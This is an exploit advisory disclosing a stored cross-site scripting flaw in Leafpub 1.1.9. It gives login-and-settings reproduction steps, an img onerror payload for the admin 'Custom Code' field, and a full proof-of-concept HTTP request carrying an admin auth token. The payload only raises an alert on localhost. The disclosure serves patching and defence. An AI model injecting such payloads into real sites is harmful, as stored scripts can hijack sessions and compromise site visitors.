Leafpub 1.1.9 Cross Site Scripting

`# Leafpub 1.1.9 - Stored Cross-Site Scripting (XSS)  
# Date: 2024-04-24  
# Exploit Author: Ahmet Ümit BAYRAM  
# Vendor Homepage: https://github.com/Leafpub  
# Software Link: https://github.com/Leafpub/leafpub  
# Version: 1.1.9  
# Tested on: MacOS  
  
### Steps to Reproduce ###  
  
- Please login from this address: http://localhost/leafpub/admin/login  
- Click on the Settings > Advanced  
- Enter the following payload into the "Custom Code" area and save it: ("><img  
src=x onerror=alert("Stored")>)  
- An alert message saying "Stored" will appear in front of you.  
  
### PoC Request ###  
  
POST /leafpub/api/settings HTTP/1.1  
Host: localhost  
Cookie:  
authToken=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3MTM5NjQ2MTcsImV4cCI6MTcxMzk2ODIxNywiZGF0YSI6eyJ1c2VybmFtZSI6ImFkbWluIn19.967N5NYdUKxv1sOXO_OTFiiLlm7sfgDWPXKX7iEZwlo  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0)  
Gecko/20100101 Firefox/124.0  
Accept: */*  
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate, br  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 476  
Origin: http://localhost  
Referer: http://localhost/leafpub/admin/settings  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin  
Te: trailers  
Connection: close  
  
title=A+Leafpub+Blog&tagline=Go+forth+and+create!&homepage=&twitter=&theme=range&posts-per-page=10&cover=source%2Fassets%2Fimg%2Fleaves.jpg&logo=source%2Fassets%2Fimg%2Flogo-color.png&favicon=source%2Fassets%2Fimg%2Flogo-color.png&language=en-us&timezone=America%2FNew_York&default-title=Untitled+Post&default-content=Start+writing+here...&head-code=%22%3E%3Cimg+src%3Dx+onerror%3Dalert(%22Stored%22)%3E&foot-code=&generator=on&mailer=default&maintenance-message=&hbs-cache=on  
  
`